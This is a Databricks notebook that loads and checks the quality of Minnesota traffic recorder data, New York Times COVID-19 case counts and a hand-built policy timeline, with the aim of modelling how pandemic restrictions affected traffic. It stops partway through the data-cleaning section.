# Databricks notebook source
# MAGIC %md
# MAGIC # Predicting the Effects of COVID-19 Restrictions Using Historical Traffic Data
# MAGIC ## By: Andrew LaFortune, May 6th 2022
# MAGIC
# MAGIC ### Scenario
# MAGIC Two years into the COVID-19 pandemic and starting to see the light at the end of the tunnel, the Minnesota Governor's Office has started to reflect on the actions they took early on in the pandemic. They have asked LFDS (LaFortune Data Solutions) to find a way to numerically evaluate the effectiveness of stay-at-home and reopening policies not just in terms of the number of COVID cases, but in other less obvious numbers that might be found in other datasets online. These other data points are up to LFDS to find and examine. The final product to be delivered is a model that might be used in future pandemic situations to determine which restrictions and relaxations on businesses to deploy and in what time frame to minimize the spread of disease.
# MAGIC
# MAGIC ### Approach
# MAGIC The primary dataset that will bridge the gap between the Governor's policies and COVID-19 cases is the Minnesota Department of Transportation's (MNDOT) Automatic Traffic Recorder (ATR) and Weigh in Motion (WIM) [Hourly Volume Data](http://www.dot.state.mn.us/traffic/data/data-products.html). Some work has already been done with this data to visualize the percent difference in traffic volume from the average daily traffic volume across all days 2016-2019 ([PDF Download](https://edocs-public.dot.state.mn.us/edocs_public/DMResultSet/download?docId=12227832)). LFDS believes this is a good first step, but would like to produce a model that adjusts for nuances in typical daily or seasonal traffic patterns. This goal is summarized by Deliverable 1:
# MAGIC > Deliverable 1: Graph Daily Volume Change for each MNDOT District and statewide compared to daily baseline.
# MAGIC __Note:__ The 2016 volume data is no longer available, so the baseline to compare will be from 2017-2019
# MAGIC
# MAGIC The goal of this report is to see how key policy decisions affected COVID cases. To see this, LFDS gathered several COVID case count datasets from the [New York Times COVID-19 Data GitHub](https://github.com/nytimes/covid-19-data). These datasets provide counts from January 21st, 2020 to the present day (May 3rd at the latest update of this notebook) at country-wide, state-wide, and county-wide levels. Compiling these into graphs for comparison with the traffic volume data will be the goal of Deliverable 2:
# MAGIC > Deliverable 2: Graph Daily COVID-19 case and death counts in Minnesota.
# MAGIC
# MAGIC These graphs will likely show some clear trends in traffic and COVID cases that may have some visual relation and indicate when major policy changes occured. To verify these instances and work towards a model for gauging effectiveness of policy changes, the events from BallotPedia's [Documenting Minnesota's path to recovery from the coronavirus (COVID-19) pandemic, 2020-2021"](https://ballotpedia.org/Documenting_Minnesota%27s_path_to_recovery_from_the_coronavirus_(COVID-19)_pandemic,_2020-2021) article have been compiled into a spreadsheet with dates and classifications for each notable event. The events can be added to the plots of traffic volume and COVID-19 cases to paint a clearer picture of what happened immediately following policy changes for Deliverable 3:
# MAGIC > Deliverable 3: Deliverable 1 and 2 graphs with vertical lines indicating when policy changes went into effect.
# MAGIC
# MAGIC Deliverables 1, 2, and 3 will give some idea of __what happened__. The last piece of this project is to condense that data into a useful model that can be used to predict __what will happen__ if similar restriction/relaxation measures are taken in a future pandemic situation. LFDS has decided that the best model for the job is a Time Series Forecasing model that takes as inputs the proportion of expected traffic volume for 30 days prior to an event predict the target variable of daily traffic volume percent difference from baseline for next 10 days.
# MAGIC
# MAGIC Deliverable 4 will consist of testing the Facebook Prophet time series prediction model for this task with the goal of minimizing the error between model prediction and real value for traffic volume percent difference. This will include the test scenarios:
# MAGIC - a baseline prediction on a non-COVID year
# MAGIC - a prediction immediately following each type of COVID policy change
# MAGIC
# MAGIC Based on the results of these scenarios, a recommendation to use Facebook's Prophet model or to look for other options:
# MAGIC > Deliverable 4: A recommendation of Time Series Forecasting model, or a recommendation to look for other prediction methods.

# COMMAND ----------

# imports
from pyspark.sql.types import *
from pyspark.sql.functions import mean, lit, min as colmin, max as colmax, sum as colsum, col, when, count, datediff, lag, countDistinct, to_date, regexp_replace, udf, date_format,desc
from pyspark.sql.window import Window
from operator import add
from functools import reduce

# COMMAND ----------

# MAGIC %md
# MAGIC ## Data Loading

# COMMAND ----------

# MAGIC %md
# MAGIC ### Available Data Sources

# COMMAND ----------

# MAGIC %sh
# MAGIC rm -r /dbfs/lafor038;
# MAGIC rm -r lafor038;

# COMMAND ----------

# MAGIC %sh
# MAGIC mkdir lafor038;
# MAGIC cd lafor038;
# MAGIC pwd;
# MAGIC mkdir wim_volume;
# MAGIC cd wim_volume;
# MAGIC wget https://github.com/andrew-lafortune/SparkData/raw/main/data/2017_wim_atr_volume.csv;
# MAGIC wget https://github.com/andrew-lafortune/SparkData/raw/main/data/2018_wim_atr_volume.csv;
# MAGIC wget https://github.com/andrew-lafortune/SparkData/raw/main/data/2019_wim_atr_volume.csv;
# MAGIC wget https://github.com/andrew-lafortune/SparkData/raw/main/data/2020_wim_atr_volume.csv;
# MAGIC wget https://github.com/andrew-lafortune/SparkData/raw/main/data/2021_wim_atr_volume.csv;
# MAGIC wget https://github.com/andrew-lafortune/SparkData/raw/main/data/2022_wim_atr_volume.csv;

# COMMAND ----------

# MAGIC %sh
# MAGIC cd lafor038;
# MAGIC mkdir covid_cases;
# MAGIC cd covid_cases;
# MAGIC wget https://github.com/nytimes/covid-19-data/raw/master/us-states.csv;
# MAGIC wget https://github.com/nytimes/covid-19-data/raw/master/us.csv;
# MAGIC mkdir us_counties;
# MAGIC cd us_counties;
# MAGIC wget https://github.com/nytimes/covid-19-data/raw/master/us-counties-2020.csv;
# MAGIC wget https://github.com/nytimes/covid-19-data/raw/master/us-counties-2021.csv;
# MAGIC wget https://github.com/nytimes/covid-19-data/raw/master/us-counties-2022.csv;

# COMMAND ----------

# MAGIC %sh
# MAGIC cd lafor038;
# MAGIC mkdir stations_counties_districts;
# MAGIC cd stations_counties_districts;
# MAGIC
# MAGIC wget https://github.com/andrew-lafortune/SparkData/raw/main/data/Current_CC_StationList.csv;
# MAGIC wget https://github.com/andrew-lafortune/SparkData/raw/main/data/Retired_CC_StationList.csv;
# MAGIC wget https://github.com/andrew-lafortune/SparkData/raw/main/data/MN_Counties_Districts.csv;

# COMMAND ----------

# MAGIC %sh
# MAGIC cd lafor038;
# MAGIC wget https://github.com/andrew-lafortune/SparkData/raw/main/data/MN_COVID_Timeline.csv;

# COMMAND ----------

# MAGIC %sh ls lafor038

# COMMAND ----------

# MAGIC %sh cp -r lafor038 /dbfs/lafor038

# COMMAND ----------

# MAGIC %fs ls file:/dbfs/lafor038

# COMMAND ----------

# MAGIC %md
# MAGIC ### WIM ATR Volume Data

# COMMAND ----------

# MAGIC %sh ls /dbfs/lafor038/wim_volume

# COMMAND ----------

# MAGIC %md
# MAGIC #### Define Schema
# MAGIC Columns identify station, direction, and lane of observation
# MAGIC
# MAGIC Each Numbered column represents an hour of the day (e.g. 1 = 1AM)

# COMMAND ----------

wim_volume_schema = StructType([StructField('station_id',IntegerType(),True),
                               StructField('dir_of_travel',IntegerType(),True),
                               StructField('lane_of_travel',IntegerType(),True),
                               StructField('date',StringType(),True),
                               StructField('1',IntegerType(),True),
                               StructField('2',IntegerType(),True),
                               StructField('3',IntegerType(),True),
                               StructField('4',IntegerType(),True),
                               StructField('5',IntegerType(),True),
                               StructField('6',IntegerType(),True),
                               StructField('7',IntegerType(),True),
                               StructField('8',IntegerType(),True),
                               StructField('9',IntegerType(),True),
                               StructField('10',IntegerType(),True),
                               StructField('11',IntegerType(),True),
                               StructField('12',IntegerType(),True),
                               StructField('13',IntegerType(),True),
                               StructField('14',IntegerType(),True),
                               StructField('15',IntegerType(),True),
                               StructField('16',IntegerType(),True),
                               StructField('17',IntegerType(),True),
                               StructField('18',IntegerType(),True),
                               StructField('19',IntegerType(),True),
                               StructField('20',IntegerType(),True),
                               StructField('21',IntegerType(),True),
                               StructField('22',IntegerType(),True),
                               StructField('23',IntegerType(),True),
                               StructField('24',IntegerType(),True)])

# COMMAND ----------

# MAGIC %md
# MAGIC #### Load Each File and Save as Parquet Table

# COMMAND ----------

# MAGIC %fs ls file:/dbfs/lafor038

# COMMAND ----------

file_dir = "file:/dbfs/lafor038/wim_volume/"
file_type = "csv"
f_name_suffix = "_wim_atr_volume.csv"

# CSV options
infer_schema = "false"
first_row_is_header = "true"
delimiter = ","

wim_volume = {}

for year in range(2017,2023):
    file_location = file_dir + str(year) + f_name_suffix
    wim_volume[year] = spark.read.format(file_type) \
      .schema(wim_volume_schema) \
      .option("header", first_row_is_header) \
      .option("sep", delimiter) \
      .load(file_location)

    table_name = str(year)+"_wim_atr_volume"

    wim_volume[year].createOrReplaceTempView(table_name)

# COMMAND ----------

# MAGIC %md
# MAGIC ### COVID Case Data

# COMMAND ----------

# MAGIC %sh ls lafor038/covid_cases

# COMMAND ----------

# MAGIC %sh ls lafor038/covid_cases/us_counties

# COMMAND ----------

#define schemas for each level of case and death data
us_covid_schema = StructType([StructField('date',StringType(),True),
                             StructField('cases',IntegerType(),True),
                             StructField('deaths',IntegerType(),True)])

states_covid_schema = StructType([StructField('date',StringType(),True),
                                  StructField('state',StringType(),True),
                                  StructField('fips',IntegerType(),True),
                                  StructField('cases',IntegerType(),True),
                                  StructField('deaths',IntegerType(),True)])

counties_covid_schema = StructType([StructField('date',StringType(),True),
                                    StructField('county',StringType(),True),
                                    StructField('state',StringType(),True),
                                    StructField('fips',IntegerType(),True),
                                    StructField('cases',IntegerType(),True),
                                    StructField('deaths',IntegerType(),True)])

#file location and type
covid_dir = "file:/dbfs/lafor038/covid_cases/"
file_type = "csv"

# CSV options
first_row_is_header = "true"
delimiter = ","

# read files for country and state wide case counts and save to Parquet
us_cases = spark.read.format(file_type).schema(us_covid_schema).option("header",first_row_is_header).option("sep",delimiter).load(covid_dir+"us.csv")
state_cases = spark.read.format(file_type).schema(states_covid_schema).option("header",first_row_is_header).option("sep",delimiter).load(covid_dir+"us-states.csv")

us_cases.createOrReplaceTempView("us_covid_cases")
state_cases.createOrReplaceTempView("state_covid_cases")

# read and write for each year of county data
counties = {}
for year in range(2020,2023):
    file_location = covid_dir+"us_counties/us-counties-"+str(year)+".csv"
    counties[year] = spark.read.format(file_type) \
      .schema(counties_covid_schema) \
      .option("header", first_row_is_header) \
      .option("sep", delimiter) \
      .load(file_location)

    table_name = "county_cases_"+str(year)
    counties[year].createOrReplaceTempView(table_name)

# COMMAND ----------

# MAGIC %md
# MAGIC ### Station Info
# MAGIC Each station has columns indicating location, type, number of lanes, etc. Most important is the "County Name" column which can be used to connect WIM recordings to specific counties for comparison with COVID case counts.
# MAGIC
# MAGIC The MN_Counties_Districts data connects county names to district numbers to mimic the graphs from MNDOT which are being recreated for Deliverable 1

# COMMAND ----------

# MAGIC %sh ls lafor038/stations_counties_districts

# COMMAND ----------

current_station_schema = StructType([StructField("Continuous Number",IntegerType(),True),
                             StructField("Sequence Number",IntegerType(),True),
                             StructField("Collection Type",StringType(),True),
                             StructField("Route",StringType(),True),
                             StructField("Pos Dir Dir",StringType(),True),
                             StructField("Pos Lanes",IntegerType(),True),
                             StructField("Neg Lanes",IntegerType(),True),
                             StructField("Urban/Rural",StringType(),True),
                             StructField("Functional Class",StringType(),True),
                             StructField("County Name",StringType(),True),
                             StructField("Location Text",StringType(),True)])

retired_station_schema = StructType([StructField("Continuous Number",IntegerType(),True),
                                     StructField("Collection Type",StringType(),True),
                                     StructField("Measurement",StringType(),True),
                                     StructField("Route",StringType(),True),
                                     StructField("Pos Lanes",IntegerType(),True),
                                     StructField("Pos Dir Dir",StringType(),True),
                                     StructField("Ref Post",StringType(),True),
                                     StructField("True Mile",FloatType(),True),
                                     StructField("Location",StringType(),True),
                                     StructField("County",StringType(),True),
                                     StructField("Closest City",StringType(),True),
                                     StructField("Status",StringType(),True)])

county_district_schema = StructType([StructField("County",StringType(),True),
                                    StructField("MnDOT district(s)",StringType(),True)])

# COMMAND ----------

file_location = "file:/dbfs/lafor038/stations_counties_districts/"
file_type = "csv"

# CSV options
infer_schema = "false"
first_row_is_header = "true"
delimiter = ","

current_stations = spark.read.format(file_type).schema(current_station_schema).option("header",first_row_is_header).option("sep",delimiter).load(file_location+"Current_CC_StationList.csv")
retired_stations = spark.read.format(file_type).schema(retired_station_schema).option("header",first_row_is_header).option("sep",delimiter).load(file_location+"Retired_CC_StationList.csv")
county_district = spark.read.format(file_type).schema(county_district_schema).option("header",first_row_is_header).option("sep",delimiter).load(file_location+"MN_Counties_Districts.csv")

current_stations.createOrReplaceTempView("current_stations")
retired_stations.createOrReplaceTempView("retired_stations")
county_district.createOrReplaceTempView("county_district")

# COMMAND ----------

# MAGIC %md
# MAGIC ## COVID Timeline
# MAGIC This data was made by hand based on data in an article from [BallotPedia](https://ballotpedia.org/Documenting_Minnesota%27s_path_to_recovery_from_the_coronavirus_%28COVID-19%29_pandemic,_2020-2021). It classifies each significant policy event in Minnesota throughout the pandemic by date, type, and category of society affected to be aligned with traffic volume and COVID data later on.

# COMMAND ----------

timeline_schema = StructType([StructField("Date",StringType(),True),
                              StructField("Category",StringType(),True),
                              StructField("Order Type",StringType(),True),
                              StructField("Event Type",StringType(),True),
                              StructField("Description",StringType(),True)])

file_location = "file:/dbfs/lafor038/"
file_type = "csv"

# CSV options
infer_schema = "false"
first_row_is_header = "true"
delimiter = ","

timeline = spark.read.format(file_type).schema(timeline_schema).option("header",first_row_is_header).option("sep",delimiter).load(file_location+"MN_COVID_Timeline.csv")
timeline.createOrReplaceTempView("MN_COVID_Timeline")

# COMMAND ----------

# MAGIC %sql
# MAGIC show views;

# COMMAND ----------

# MAGIC %md
# MAGIC ### Data Analysis (exploration)

# COMMAND ----------

# MAGIC %md
# MAGIC ### Timeline
# MAGIC This data was made by hand for this project, so the contents shouldn't have anything unexpected. Exploration will consist of checking the different categories available.

# COMMAND ----------

timeline.groupBy("Category", "Order Type", "Event Type").count().orderBy(desc("count")).display()

# COMMAND ----------

# MAGIC %md
# MAGIC There are 23 different groupings of Category, Order Type, and Event Type with Business regulations being the most common by far. The most useful points in the policy timeline will probably be when Business Relaxations or Restrictions go into effect.

# COMMAND ----------

# MAGIC %md
# MAGIC #### COVID Data
# MAGIC Test for:
# MAGIC - Completeness: no null values, complete time series
# MAGIC - Uniqueness: how many unique values for each dataset?
# MAGIC - Validity: does the data make sense? (e.g. no negative case counts)

# COMMAND ----------

us_cases.limit(100).display()

# COMMAND ----------

# MAGIC %md
# MAGIC Looks like the counts per date are a running total.

# COMMAND ----------

us_cases.select([count(when(col(c).isNotNull() , c)).alias("notNull"+c.capitalize()) for c in us_cases.columns]
   ).withColumn("expected",lit(us_cases.count())).show()

us_cases.select([count(when(col(c) >= 0 , c)).alias("pos"+c.capitalize()) for c in ["cases","deaths"]]
   ).withColumn("expected",lit(us_cases.count())).show()

us_cases.select(mean((us_cases["deaths"] <= us_cases["cases"]).cast("int")).alias("isValidDeathCount")).show()

windowSpec = Window.orderBy("date")
us_cases.orderBy("date") \
        .withColumn("date_diff",datediff(us_cases.date,lag("date",1).over(windowSpec))) \
        .select(mean("date_diff").alias("isValidTimeStep")).withColumn("expected",lit(1.0)).show()

us_cases.select("date").distinct().count() == us_cases.count()

# COMMAND ----------

state_cases.limit(100).display()
state_cases.filter(state_cases["state"] == "Washington").limit(100).display()

# COMMAND ----------

# MAGIC %md
# MAGIC Again, running total of cases and deaths.

# COMMAND ----------

state_cases.select([count(when(col(c).isNotNull() , c)).alias("notNull"+c.capitalize()) for c in state_cases.columns]
   ).withColumn("expected",lit(state_cases.count())).show()

state_cases.select([count(when(col(c) >= 0 , c)).alias("pos"+c.capitalize()) for c in ["cases","deaths"]]
   ).withColumn("expected",lit(state_cases.count())).show()

state_cases.select(mean((state_cases["deaths"] <= state_cases["cases"]).cast("int")).alias("isValidDeathCount")).show()

windowSpec = Window.partitionBy("state").orderBy("date")
state_cases.orderBy("date") \
        .withColumn("date_diff",datediff(state_cases.date,lag("date",1).over(windowSpec))) \
        .select(mean("date_diff").alias("isValidTimeStep")).withColumn("expected",lit(1.0)).show()

state_cases.groupBy("state").agg(countDistinct("date").alias("distinct"),count(lit(1)).alias("expected")) \
           .withColumn("isUniqueDates",(col("distinct") == col("expected")).cast("int")).select(mean("isUniqueDates").alias("pctUnique")).withColumn("expected",lit(1.0)).show()

# COMMAND ----------

# MAGIC %md
# MAGIC For states, check how many are accounted.

# COMMAND ----------

state_cases.select("state").distinct().orderBy("state").display()

# COMMAND ----------

# MAGIC %md
# MAGIC Looks like all 50 states are there (verified by singing the "50 Nifty" song from elementary school) plus 6 territories like American Samoa and Puerto Rico. Leave those in for now.

# COMMAND ----------

counties[2020].filter(col("county") == lit("Hennepin")).limit(20).show()

# COMMAND ----------

for year in counties:
    df = counties[year]
    print(year)
    df.select([count(when(col(c).isNotNull() , c)).alias("notNull"+c.capitalize()) for c in df.columns]
       ).withColumn("expected",lit(df.count())).show()

    df.select([count(when(col(c) >= 0 , c)).alias("pos"+c.capitalize()) for c in ["cases","deaths"]]
       ).withColumn("expected",lit(df.count())).show()

    df.select(mean((df["deaths"] <= df["cases"]).cast("int")).alias("isValidDeathCount")).show()

    windowSpec = Window.partitionBy("county").orderBy("date")
    df.orderBy("date") \
            .withColumn("date_diff",datediff(df.date,lag("date",1).over(windowSpec))) \
            .select(mean((col("date_diff") == lit(1)).cast("int")).alias("isValidTimeStep")).withColumn("expected",lit(1.0)).show()

    df.groupBy("state","county").agg(countDistinct("date").alias("distinct"),count(lit(1)).alias("expected")) \
           .withColumn("isUniqueDates",(col("distinct") == col("expected")).cast("int")).select(mean("isUniqueDates").alias("pctUnique")).withColumn("expected",lit(1.0)).show()
    break

# COMMAND ----------

# MAGIC %md
# MAGIC Null counts in fips and deaths don't match the expected. Missing fips is ok since that column won't be used, but the missing death counts need to be identified.

# COMMAND ----------

for year in counties:
    print(year)
    df = counties[year]
    df.filter(df["deaths"].isNull()).limit(10).show()
    df.filter(df["deaths"].isNull()).select(df["state"]).distinct().show()

# COMMAND ----------

# MAGIC %md
# MAGIC Null death counts are only in Puerto Rico. That's a US territory, not a state, and the county-level data isn't needed, so those values get dropped.

# COMMAND ----------

for year in counties:
    df = counties[year]
    df = df.filter(df["state"] != "Puerto Rico")
    print(year)
    df.select([count(when(col(c).isNotNull() , c)).alias("notNull"+c.capitalize()) for c in df.columns]
       ).withColumn("expected",lit(df.count())).show()

    df.select([count(when(col(c) >= 0 , c)).alias("pos"+c.capitalize()) for c in ["cases","deaths"]]
       ).withColumn("expected",lit(df.count())).show()

    df.select(mean((df["deaths"] <= df["cases"]).cast("int")).alias("isValidDeathCount")).show()

    windowSpec = Window.partitionBy("county","state").orderBy("date")
    df.orderBy("date") \
            .withColumn("date_diff",datediff(df.date,lag("date",1).over(windowSpec))) \
            .select(mean((col("date_diff") == lit(1)).cast("int")).alias("isValidTimeStep")).withColumn("expected",lit(1.0)).show()

    df.groupBy("state","county").agg(countDistinct("date").alias("distinct"),count(lit(1)).alias("expected")) \
           .withColumn("isUniqueDates",(col("distinct") == col("expected")).cast("int")).select(mean("isUniqueDates").alias("pctUnique")).withColumn("expected",lit(1.0)).show()

# COMMAND ----------

# MAGIC %md
# MAGIC Some rows have more deaths than cases. Filter to see what's going on.

# COMMAND ----------

df.filter(col("deaths") > col("cases")).limit(20).show()
df.filter((col("deaths") > col("cases")) & (col("county") != lit("Unknown"))).show()

# COMMAND ----------

# MAGIC %md
# MAGIC This is only a problem in Unknown counties, wich can be removed later.
# MAGIC
# MAGIC Next, it seems like some time steps might be missing. Filter by date difference to see what's going on.

# COMMAND ----------

windowSpec = Window.partitionBy("county","state").orderBy("date")
withDiff = df.orderBy("date") \
        .withColumn("date_diff",datediff(df.date,lag("date",1).over(windowSpec)))
withDiff.filter(withDiff["date_diff"] != 1).show()
withDiff.filter(withDiff["date_diff"] != 1).filter(col("county") != lit("Unknown")).show()

# COMMAND ----------

# MAGIC %md
# MAGIC The missing dates is only happening in Unknown county reports. These can be filtered out when finding average cases by county.

# COMMAND ----------

df.filter(df["county"] != "Unknown").display()

# COMMAND ----------

df.filter((df["county"] != "Unknown") & (df["state"] == "Minnesota")).display()

# COMMAND ----------

# MAGIC %md
# MAGIC #### Results
# MAGIC - Completeness:
# MAGIC   - State and Countrywide Data is fully complete
# MAGIC   - County data was missing death counts in Puerto Rico, so that "state" will be excluded from further analysis. "fips" values were missing for all unknown counties, but those aren't used for analysis or joining so that column can be dropped.
# MAGIC - Uniqueness:
# MAGIC   - There are 56 unique "state" identifiers including all 50 US states and 6 territories.
# MAGIC   - No date is repeated for any unique state/county combination or in the countrywide DataFrame
# MAGIC - Validity:
# MAGIC   - With each row being a running total of COVID cases and deaths, there should never be more deaths than cases. This does occur in many of the "Unknown" district entries, which will be filtered out.
# MAGIC   - All counts of cases and deaths are greater than or equal to 0.
# MAGIC   - When sorted by date, each row in the countrywide data is one day apart indicating a continuous time series.
# MAGIC   - When sorted by date and state, each row in the statewide data is one data apart indicating continuous time series.
# MAGIC   - County data has some gaps. These will be filled in with repeated values in the Data Preparation step.
# MAGIC

# COMMAND ----------

# MAGIC %md
# MAGIC ### Station Data
# MAGIC Test for:
# MAGIC - Completeness: no null values, coverage of all districts
# MAGIC - Uniqueness: how many unique values for each dataset?
# MAGIC   - Unique station #'s
# MAGIC   - Urban/Rural split
# MAGIC   - Number of counties
# MAGIC - Validity: does the data make sense?
# MAGIC   - Does each station belong to a county?
# MAGIC   - Does each county have a corresponding district?

# COMMAND ----------

current_stations.limit(100).display()
retired_stations.limit(100).display()

# COMMAND ----------

case_counties = None

# COMMAND ----------

print("Non Null counts")
current_stations.select([count(when(col(c).isNotNull() , c)).alias(c) for c in current_stations.columns]).withColumn("rowCount",lit(current_stations.count())).show()
retired_stations.select([count(when(col(c).isNotNull() , c)).alias(c) for c in retired_stations.columns]).withColumn("rowCount",lit(retired_stations.count())).show()
print("Unique value counts")
current_stations.select([countDistinct(c).alias(c) for c in current_stations.columns]).withColumn("rowCount",lit(current_stations.count())).show()
retired_stations.select([countDistinct(c).alias(c) for c in retired_stations.columns]).withColumn("rowCount",lit(retired_stations.count())).show()
print("Number of unique stations retired and active")
print(current_stations.select("Continuous Number").unionByName(retired_stations.select("Continuous Number")).distinct().count())
print("Urban / Rural Split")
current_stations.groupBy().pivot("Urban/Rural").count().show()

# all counties that have or have had a measurement station in them
station_counties = current_stations.select(col("County Name").alias("stationCounties")) \
                    .unionByName(retired_stations.select(col("COUNTY").alias("stationCounties"))).distinct()

for year in counties:
    if case_counties is None:
        case_counties = counties[year].filter(col("state") == "Minesota").select("county").distinct()

    case_counties = case_counties.union(counties[year].filter(col("state") == "Minnesota").select("county")).distinct()

print("Station List Counties Matched with COVID Case Counties")
station_counties = station_counties.join(case_counties,case_counties.county == station_counties.stationCounties,"outer").distinct().orderBy("stationCounties")
station_counties.display()

# COMMAND ----------

# MAGIC %md
# MAGIC There are 28 counties that reported COVID cases, but don't have any WIM stations. That should be ok as long as each county can be mapped to a district to aggregate and predict at the district level.

# COMMAND ----------

station_counties.columns

# COMMAND ----------

county_district.select([countDistinct(c).alias(c) for c in county_district.columns]).withColumn("rowCount",lit(county_district.count())).show()

county_district.select("MnDOT district(s)").distinct().show()

station_counties.join(county_district,"county","outer").distinct().orderBy("MnDOT district(s)").display()

# COMMAND ----------

# MAGIC %md
# MAGIC There are a few cases that can't be aligned to MnDOT districts here:
# MAGIC - Unknown: These will be dropped for per-district predictions.
# MAGIC - "St Louis"/"Saint Louis": There is a "St. Louis" assigned to District 1. "Saint Louis" is the closest match to other county names, so all instances of "St Louis" and "St. Louis" will be replaced and matched to district 1.
# MAGIC - Olmsted: a quick Google search reveals that this is in district 6
# MAGIC - Aitkin: There is an "Aikin" entry in the county_districts table. No "Aikin" county exists in Minnesota, and "Aikin" is assigned to District 1 which is Aitkin's actual district. "Aikin" can be replaced with "Aitkin" and connected to district 1.
# MAGIC - Pennington: There is a "Penningham" entry in the country_districts table, but again that is not a real county. The real Pennington county is ni District 2, which "Penningham" was assigned to. Like "Aikin", replace "Penningham" with "Pennington" and associate with district 2.
# MAGIC - Carlton: "Carlson" is entered in the county_districts table. This is another mispelling, and entries labeled "Carlson" should be replaced with Carlton and assigned to district 1.
# MAGIC - Cass: This is assigned to district 2 and 3. Looking at the district map it is mostly in district 3, so it can be relabeled accordingly.
# MAGIC - Koochiching: This is assigned to district 1 and 2. The district map shows a majority in district 1, so it can be relabeled to district 1.
# MAGIC - Itasca: This is the same as Koochiching. Relabel to district 1.

# COMMAND ----------

# MAGIC %md
# MAGIC ### Results
# MAGIC - Completeness:
# MAGIC   - All districts are covered and there are no null values in columns
# MAGIC   - Some counties that reported COVID cases do not have WIM stations, but those case counts will be aggregated to district counts later on.
# MAGIC - Uniqueness:
# MAGIC   - 62 different counties have WIM stations, covering all 8 MNDOT Districts.
# MAGIC   - There are 104 active stations and 119 retired stations for a total of 223 potential stations to view WIM data from.
# MAGIC   - The current stations show Urban / Rural classification, which is split 61 / 43. This likely means that a large portion of rural traffic is not measured, but relative changes in activity should still be discernable.
# MAGIC - Validity:
# MAGIC   - Some counties were assigned to multiple districts. There are few enough that they can be reassigned manually to the district covering a majority of the district.
# MAGIC   - Some county names were not immediately matched to a MNDOT District because of spelling variations or mispellings. Reviewing each case showed that all counties that are not "Unknown" can be matched to a real county in Minnesota.
# MAGIC   - There are no null values for counties in the station tables, so each station is assigned to a county, and the county name validation confirms that the county for each station is a real county.

# COMMAND ----------

# MAGIC %md
# MAGIC ### WIM Volume Data
# MAGIC Test for:
# MAGIC - Completeness:
# MAGIC   - No null values
# MAGIC   - Full time series for each station
# MAGIC - Uniqueness:
# MAGIC   - No repeat entries for station, dir, lane, date groupings
# MAGIC - Validity:
# MAGIC   - No negative values in columns
# MAGIC   - Each station has a corresponding value in either current or retired station tables

# COMMAND ----------

for year in wim_volume:
    wim_volume[year].limit(20).show()
    break

# COMMAND ----------

print("Null value check")
for year in wim_volume:
    tmp = wim_volume[year]
    print(year, ":", tmp.count(), "Rows")
    tmp.select([count(when(col(c).isNull() , c)).alias(c) for c in tmp.columns]).withColumn("rowCount",lit(tmp.count())).show()

# COMMAND ----------

# MAGIC %md
# MAGIC Note that the number of rows for yearly WIM data doubled from 2020 to 2021. Did the number of stations increase?

# COMMAND ----------

for year in wim_volume:
    tmp = wim_volume[year]
    print(year, "unique stations:",tmp.select("station_id").distinct().count())

# COMMAND ----------

# MAGIC %md
# MAGIC Yes, there are more than twice as many stations for 2021 than 2020.

# COMMAND ----------

# check if each station across all sheets is in the active or retired list
all_stations = current_stations.select("Continuous Number").unionByName(retired_stations.select("Continuous Number")).distinct()

for year in wim_volume:
    tmp = wim_volume[year]
    print(year)
    tmp.select("station_id").distinct().join(all_stations,col("station_id") == col("Continuous Number"),"left").select(count(when(col("station_id").isNull(),"station_id")).alias("unmatched")).show()

# COMMAND ----------

print("Unique station, direction, lane, date entries")
for year in wim_volume:
    tmp = wim_volume[year]
    print(year)
    print("Unique:",tmp.select("station_id","dir_of_travel","lane_of_travel","date").distinct().count(),"| Expected:",tmp.count())

# COMMAND ----------

print("No Negative values check")
for year in wim_volume:
    tmp = wim_volume[year].drop("date")
    print(year, ":", tmp.count(), "Rows")
    tmp.select([count(when(col(c) < 0 , c)).alias(c) for c in tmp.columns]).withColumn("rowCount",lit(tmp.count())).show()

# COMMAND ----------

print("Time series check")
windowSpec = Window.partitionBy("station_id","dir_of_travel","lane_of_travel").orderBy("date")
for year in wim_volume:
    tmp = wim_volume[year]
    print(year)
    tmp.orderBy("date") \
        .withColumn("date_diff",datediff(tmp.date,lag("date",1).over(windowSpec))) \
        .select(mean((col("date_diff") == lit(1)).cast("int")).alias("isValidTimeStep")).withColumn("expected",lit(1.0)).show()

# COMMAND ----------

# MAGIC %md
# MAGIC Some stations like 29 seem to have gaps in recordings. Those can be filled in with repeat values after aggregating by date.

# COMMAND ----------

wim_volume[2021].limit(10).show()

# COMMAND ----------

# MAGIC %md
# MAGIC The date format changed from 2020 to 2021. That can be transformed quickly and the time series check re-run.

# COMMAND ----------

windowSpec = Window.partitionBy("station_id","dir_of_travel","lane_of_travel").orderBy("new_date")
for year in [2021,2022]:
    tmp = wim_volume[year]
    print(year)
    tmp.orderBy("date") \
        .withColumn("new_date",to_date(col("date"),"M/D/yyyy")) \
        .withColumn("date_diff",datediff(col("new_date"),lag("new_date",1).over(windowSpec))) \
        .select(mean((col("date_diff") == lit(1)).cast("int")).alias("isValidTimeStep")).withColumn("expected",lit(1.0)).show()

# COMMAND ----------

# MAGIC %md
# MAGIC ### Results
# MAGIC - Completeness:
# MAGIC   - There are no null values in the volume data.
# MAGIC   - Some stations have gaps in their time series, which will be filled in with an average value of several days before and after the gap.
# MAGIC - Uniqueness:
# MAGIC   - There are no repeated combinations of station, direction, lane, and date.
# MAGIC - Validity:
# MAGIC   - The date format changed from 2020 to 2021 and 2022. That will need to be fixed when aggregating.
# MAGIC   - No numeric values were negative.
# MAGIC   - Each station matches with one listed in the current or retired station list tables.

# COMMAND ----------

county_district.display()

# COMMAND ----------

# MAGIC %md
# MAGIC ## Data Conditioning
# MAGIC The available data for ATR WIM stations (current and retired), COVID cases (county, state, and country), and traffic volume has been examined and several necessary changes identified. In order of discovery those are:
# MAGIC 1. Remove Puerto Rico from county level COVID case reports because of null death count values
# MAGIC 2. Remove Unknown counties from county level COVID case reports because of non-increasing case/death counts and incomplete time series
# MAGIC 3. Minnesota Counties:
# MAGIC     - Rename all instances of "St Louis"/"Saint Louis"/"St. Louis" to "Saint Louis" in COVID case data and rename "St. Louis" to "Saint Louis" in county_district view. (Use again after combining retired and current stations)
# MAGIC     - Remove mysterious whitespace character from Olmsted
# MAGIC     - Replace "Aikin" in county_districts with "Aitkin"
# MAGIC     - Replace "Penningham" in county_districts with "Pennington"
# MAGIC     - Replace "Carlson" with "Carlton" in county_districts
# MAGIC     - Assign Cass county to district 3 only.
# MAGIC     - Assign Koochiching county to district 1 only.
# MAGIC     - Assign Itasca county to district 1 only.
# MAGIC 4. Reformat dates for wim_volume data in 2021 and 2022

# COMMAND ----------

# Remove Puerto Rico and Unknown counties from county level COVID reports
